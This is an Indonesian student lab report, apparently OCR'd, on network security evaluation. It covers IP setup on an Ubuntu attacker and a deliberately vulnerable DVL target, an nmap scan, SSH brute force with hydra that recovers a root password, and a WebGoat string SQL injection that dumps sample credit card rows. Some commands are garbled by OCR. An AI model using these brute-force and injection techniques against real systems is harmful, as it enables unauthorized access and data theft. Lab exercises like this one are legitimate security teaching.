# NAMA : SUCI ANGGRAENI NIM : 09011181320030 KEAMANAN JARINGAN KOMPUTER

Evaluasi keamanan sistem

Actual exploit

Berikut merupakan langkah-langkah melakukan actual exploit dengan Bruteforce.

Sebelum melakukan percobaan bruteforce hal pertama yang dilakukan adalah configurasi masing-masing IP pada terminal Ubuntu dan DVL. Sama seperti percobaan sebelumnya, percobaan kali ini memasukan IP user pada Ubuntu. IP tersebut adalah 192.168.100.10, dan memasukan IP target pada DVL dengan IP 192.168.100.20. dapat dilihat pada gambar dibawah ini langkah untuk configurasi masing-masing IP.

\*configurasi IP pada UBUNTU 192.168.100.10

root@ubunt	u:/home/ubuntu# ifconfig
eth0	Link encap:Ethernet HWaddr 08:00:27:10:8a:e2 inet addr:192.168.100.10 Bcast:192.168.100.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe10:8ae2/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:104 errors:0 dropped:0 overruns:0 frame:0 TX packets:135 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10002 (10.0 KB) TX bytes:18516 (18.5 KB)
10	Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:78 errors:0 dropped:0 overruns:0 frame:0 TX packets:78 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5688 (5.6 KB) TX bytes:5688 (5.6 KB)
rootQubunt	u:/home/ubuntu#

# NAMA : SUCI ANGGRAENI NIM : 09011181320030 KEAMANAN JARINGAN KOMPUTER \*pada DVL 192.168.100.20

bt ~ # ifconfig eth0 192.168.100.20 netmask 255.255.255.0_							
🔰 ~ # ifa	config						
eth0	Link encap:Ethernet HWaddr 08:00:27:41:4E:02 inet addr:192.168.100.20 Bcast:192.168.100.255 Mask:255.255.255.0 UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:83 errors:0 dropped:0 overruns:0 frame:0 TX packets:84 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:9828 (9.5 KiB) TX bytes:9502 (9.2 KiB) Base address:0xd010 Memory:f0000000-f0020000						
10	Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)						
bt ~ #							

Setelah melakukan configurasi Ip. Selanjutnya lakukan pengetesan Ping pada IP masing-

masing, untuk mengetahui apakah IP sudah terkoneksi atau belum.

ro	otQubui	ntu∶⁄}	10me∕ubuntu#	‡ ping	192.168.10	0.20		
PI	NG 192	.168.1	100.20 (192.	168.1	00.20) 56(8	34) byte	es of data.	
64	bytes	from	192.168.100	.20:	icmp_seq=1	tt1=64	time=0.326	MS
64	bytes	from	192.168.100	.20:	icmp_seq=2	tt1=64	time=0.669	MS
64	bytes	from	192.168.100	.20:	icmp_seq=3	tt1=64	time=0.331	ms
64	bytes	from	192.168.100	.20:	icmp_seq=4	tt1=64	time=0.292	MS
64	bytes	from	192.168.100	.20:	icmp_seq=5	ttl=64	time=0.439	MS

Untuk melakukan bruteforce kita harus mendapatkan data target terlebih dahulu. Port target berapa yang sedang terbuka. Pada percobaan ini kita melakukan pada port ssh.

Lakukan scanning menggunakan nmap untuk mendapatkan informasi target. Dengan command sebagai berikut :

• Nmap –sV 192.168.100.10

# NAMA : SUCI ANGGRAENI NIM : 09011181320030 KEAMANAN JARINGAN KOMPUTER

• Nmap –sv ( service yg sedang berjalan )



Bruteforce mencoba melakukan input password menggunakaan tool hydra pada service ssh. Hydra merupakan salah satu tool bruteforce login password. Tool ini bersifat open source dengan cross platform termasuk Linux didalamnya.

Disini kita menggunakan tools hydra :

Hydra -l-P password.list 192.168.100.20 ssh

Keterangan :

-l : login
-P : Password file
password.list : password file target
192.168.2.6 : Alamat host
ssh : Service

Pada percobaan menggunakan tools hydra dilakukan di Ubuntu. Dengan command pada terminal \$ssh root@192.168.100.20 maka hasil yang ditampilkan adalah masuk kedalam operating system DVL dengan login "root" dan password

#### NAMA : SUCI ANGGRAENI

## NIM: 09011181320030

## KEAMANAN JARINGAN KOMPUTER

"toor". Setelah mengetahu password tersebut kita dapat langsung login dan melakukan apa saja kegiatan yang dilakukan target (DVL).

Untuk memastikan password yang kita dapat itu strong atau bisa digunakan dalam jangka panjang kita bisa mengecek password tersebut dapat dilihat di <u>http://howsecurelsmypass.com</u>

Percobaan kedua yaitu melakukan training material. Langkah-langkahnya sebagai berikut :



⇒ Startx di DVL utk masukke tmpilan GUI

## NAMA : SUCI ANGGRAENI

## NIM: 09011181320030

## KEAMANAN JARINGAN KOMPUTER



Melakukan pencarian semua nama dengan last name Smith atau user name Smith

String SQL Injection, Tidak melakukan filter input yang masuk.

# NAMA : SUCI ANGGRAENI NIM : 09011181320030 KEAMANAN JARINGAN KOMPUTER

Enter your last name: test' or 1=1 --

Market Contraction		<u>1</u>			100		String	SQL Inte	etion
OWASP WebGoat V5.1	4 Here		Paramis Sh	ov Coolies	Show Jav	s Dir	- Solution	Lesson Plan	
Admin Functions								Restart thi	a Lesson
Code Guality Concurrency Unvalidated Parameters Access Control Barn	SQL intection attacks represent a serious thread to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.								
Authentication Rives Session Management Rives Cross Site Scripting (1855)	Not only is it a thread easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.								
Buffer Overflows Injection Flava	It is always good practice to sanitize all input diata, especially data that will used in OS command, scripts, and database queines, even if the threat of SQL injection has been prevented in some other manner.								
Example of American	General Goa(s):								
Nameric SQL inection Log Spoofing	The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed. Try the user name of "Smith"								
KPATH Inection String SQL mechan	Enter you	last name. Si	mith		Gal				
LAB: SGL Injection	DELETY * FROM user_dets UNKER last_some a (daith)								
Stage 1: String SQL Rector	USERID	FIRST NAME	LAST NAME	CC NUMBER	CC TYPE	COOKIE	LOGIN CO	UNT	
Stode 2: Parometerized	102	John	Smith	2435600002222	MC	parintianalisman	0	incide.	
Stage 3: Nameric SQL	102	John	Smith	4352209902222	AMEX		0		
Stoce 4: Parameterized		OWASP FO	ndidion   Proie	et Web Gowt					
Database Backdoorn									
Wigroper Error Handling Insecure Storage Denial of Bervice Insecure Configuration Web Bervices									

# \* Congratulations. You have successfully completed this lesson. \* Bet you can't do it again! This lesson has detected your successfull attack and has now switched to a defensive mode. Try again to attack a parameterized query.

Go!

SKLECT * FROM user_data WHERE last_name = 'test' or 1=1'								
USERID	FIRST_NAME	LAST_NAME	CC_NUMBER	CC_TYPE	COOKIE	LOGIN_COUNT		
101	Joe	Snow	987654321	VISA		0		
101	Joe	Snow	2234200065411	MC		0		
102	John	Smith	2435600002222	MC		0		
102	John	Smith	4352209902222	AMEX		0		
103	Jane	Plane	123456789	MC		0		
103	Jane	Plane	333498703333	AMEX		0		
10312	Jolly	Hershey	176896789	MC		0		
10312	Jolly	Hershey	333300003333	AMEX		0		
10323	Grumpy	White	673834489	MC		0		
10323	Grumpy	White	33413003333	AMEX		0		
15603	Peter	Sand	123609789	MC		0		
15603	Peter	Sand	338893453333	AMEX		0		
15613	Joesph	Something	33843453533	AMEX		0		

Di awalnya menambahkan tanda petik dan akan membaca last name yg kita masukkan , maksud 1=1 adalah boolean true walaupun kitasalah masih akan bernilai true. Itulah kesalahan dr program karna tidak memfilter terlebih dahulu. Buffer overflow, kalau tidak di filter akan menjadi vurnability